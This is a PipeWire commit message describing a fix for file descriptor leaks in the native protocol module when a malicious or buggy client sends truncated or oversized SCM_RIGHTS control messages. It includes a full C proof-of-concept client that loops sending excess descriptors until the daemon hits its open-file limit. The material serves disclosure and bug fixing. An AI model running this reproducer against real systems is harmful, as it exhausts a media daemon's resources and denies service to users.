pipewire: module-protocol-native: avoid file descriptor leaks
See commit message:
At the moment, file descriptors may be leaked
due to a malicious/buggy client:
1. If the control messages have been truncated, some file descriptors
may still have been successfully transferred. Currently, seeing
the MSG_CTRUNC bit causes `refill_buffer()` to immediately return
-EPROTO without doing anything with the control messages, which
may contain file descriptors.
2. When there is no truncation, it is still possible that the current
batch of file descriptors causes the total file descriptor count
to go over the maximum number of fds for the given buffer (currently 1024).
In this case, too, `refill_buffer()` immediately returns -EPROTO
without closing the file descriptors that can not be saved.
Fix both of these cases by closing all file descriptors in all
remaining cmsgs when one of the mentioned conditions occur.
Sample application demonstrating the first case (sending more than MAX_FDS_MSG
files):
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <unistd.h>
#include <pipewire/pipewire.h>
#define MAX_FDS_MSG 28 // from module-protocol-native
#define FD_COUNT (MAX_FDS_MSG + 1)
int main(void)
{
pw_init(NULL, NULL);
struct pw_main_loop *ml = pw_main_loop_new(NULL);
assert(ml);
struct pw_loop *l = pw_main_loop_get_loop(ml);
assert(l);
struct pw_context *context = pw_context_new(l, NULL, 0);
assert(context);
int p[2];
assert(pipe(p) == 0);
for (;;) {
struct pw_core *core = pw_context_connect(context, NULL, 0);
assert(core);
int fd = pw_core_steal_fd(core);
printf("%d\n", fd);
int fds[FD_COUNT];
for (int i = 0; i < FD_COUNT; i++)
fds[i] = dup(p[0]);
union {
char buf[CMSG_SPACE(sizeof(fds))];
struct cmsghdr align;
} u;
struct msghdr msg = {
.msg_iov = &(struct iovec) {
.iov_base = (uint32_t[]){
0, // id = 0
1024, // opcode = 0, length = 1024
UINT32_C(0xDEADBEEF), // seq
0, // number of file descriptors = 0
},
.iov_len = 16,
},
.msg_iovlen = 1,
.msg_control = u.buf,
.msg_controllen = sizeof(u.buf),
};
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(fds));
memcpy(CMSG_DATA(cmsg), fds, sizeof(fds));
sendmsg(fd, &msg, MSG_DONTWAIT | MSG_NOSIGNAL);
for (int i = 0; i < FD_COUNT; i++)
close(fds[i]);
pw_core_disconnect(core);
close(fd);
sleep(1);
}
close(p[0]);
close(p[1]);
}
One can easily observe with strace
that the pipewire process does not close any of the received files, and eventually RLIMIT_NOFILE
is reached.